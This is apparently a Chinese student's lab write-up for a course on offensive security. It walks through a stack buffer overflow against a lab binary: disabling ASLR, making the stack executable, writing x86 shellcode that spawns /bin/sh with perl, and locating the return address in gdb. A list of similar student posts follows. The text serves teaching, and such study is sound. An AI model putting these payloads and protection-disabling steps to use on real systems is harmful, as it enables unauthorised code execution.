注入Shellcode并运行攻击

shellcode就是一段机器指令(code)

  • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe)
  • 所以这段机器指令被称为shellcode。
  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,功能可以是添加一个用户、运行一条指令等。

实验步骤

  1. 安装execstack apt-get install execstack
  2. 设置堆栈可执行 execstack -s pwn20155334
  3. 查询文件的堆栈是否可执行 execstack -q pwn20155334
  4. 使用 more /proc/sys/kernel/randomize_va_space 查询地址随机化状态,若是开启状态,则使用 echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址随机化。

  5. 运行并gdb调试

    1. 输入shellcode内容 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' >input_shellcode
    2. 运行 pwn20155334 ,输入命令 (cat input_shellcode;cat) | ./pwn20155334
    3. 查询进程输入命令 ps -ef | grep pwn20155334
    4. 启动gdb调试这个进程
    5. 通过设置断点 disassemble foo,来查看注入buf的内存地址并且 break *0x080484ae,在另外一个终端中按下回,在gdb中输入c,后输info r esp
  6. (gdb) x/16x 0xffffd43c 看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd460

  7. 知道shellcode地址,所以修改为 perl -e 'print "A" x 32;print "\x60\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
    查看shellcode转换进制内容 xxd input_shellcode,并运行验证是否成功(cat input_shellcode;cat) | ./pwn20155334

20155334 网络对抗PC平台逆向破解(二)的更多相关文章

  1. 20155305《网络对抗》PC平台逆向破解(二)

    20155305<网络对抗>PC平台逆向破解(二) shellcode注入 1.shellcode shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 2.构造方法 ...

  2. 20155311《网络对抗》PC平台逆向破解(二)

    20155311<网络对抗>PC平台逆向破解(二) shellcode注入 什么是shellcode? shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 前期准备- ...

  3. 20155307《网络对抗》PC平台逆向破解(二)

    20155307<网络对抗>PC平台逆向破解(二) shellcode注入 什么是shellcode? shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 前期准备- ...

  4. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  5. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  6. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  7. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

  8. 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215

    2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...

  9. 20165309 《网络对抗技术》实验一:PC平台逆向破解

    20165309 <网络对抗技术>实验一:PC平台逆向破解 目录 实践目标 基础知识 实验原理.内容及步骤 问题与解决 实验收获 一.实践目标 本次实践的对象是一个名为pwn1的linux ...

随机推荐

  1. Java虚拟机(三)垃圾标记算法与Java对象的生命周期

    前言 这一节我们来简单的介绍垃圾收集器,并学习垃圾标记的算法:引用计数算法和根搜索算法,为了更好的理解根搜索算法,会在文章的最后介绍Java对象在虚拟机中的生命周期. 1.垃圾收集器概述 垃圾收集器( ...

  2. [Java][读书笔记]多线程编程

    前言:最近复习java,发现一本很好的资料,<J​a​v​a​2​参​考​大​全​ ​(​第​五​版​)​> ​ ​H​e​r​b​e​r​t​.Schildt.书比较老了,06年的,一些 ...

  3. Git执行过程中出现问题及解决方法

    not-fast-forward https://help.github.com/articles/dealing-with-non-fast-forward-errors/

  4. 有关于《Linux C编程一站式学习》(备份)

    Linux C编程一站式学习 -- PDF版本,共37章: Linux C编程一站式学习 -- 在线版,来自灰狐: Linux C编程一站式学习 -- 在线版,来自亚嵌教育: Linux C一站式学习 ...

  5. DataContract和DataMember的作用

    数据契约(DataContract)里的DataMember特性  来源于网络,用于个人收集及备忘 数据契约(DataContract) 服务契约定义了远程访问对象和可供调用的方法,数据契约则是服务端 ...

  6. 从零开始学习VoltDB

    1.什么是VoltDB? 是一个优化吞吐率的高性能集群开源SQLRDBMS(Database Management System),它是一个内存关系型数据库,既获得了nosql的良好可扩展性,高吞吐量 ...

  7. java8时间操作

    import java.time.*; import java.util.Date; /** * @Auther kejiefu * @Date 2018/5/17 0017 */ public cl ...

  8. AD用户移除所属组

    AD用户移除所属组: $Membership = Get-ADPrincipalGroupMembership $Users $Membership.distinguishedName Remove- ...

  9. 安装 Scala

    0. 说明 Scala 安装(Windows)  &  Scala 安装(Linux) 1. Scala 安装(Windows) 1.0 下载 Scala  下载地址 1.1 运行 Scala ...

  10. Android高级_第三方下载工具Volley

    Volley下载主要应用于下载文本数据和图片数据两个方向,下面分别介绍: 一.使用Volley开启下载,首先要做的是导包和添加权限: (1)在build.gradle文件中导入依赖包:compile ...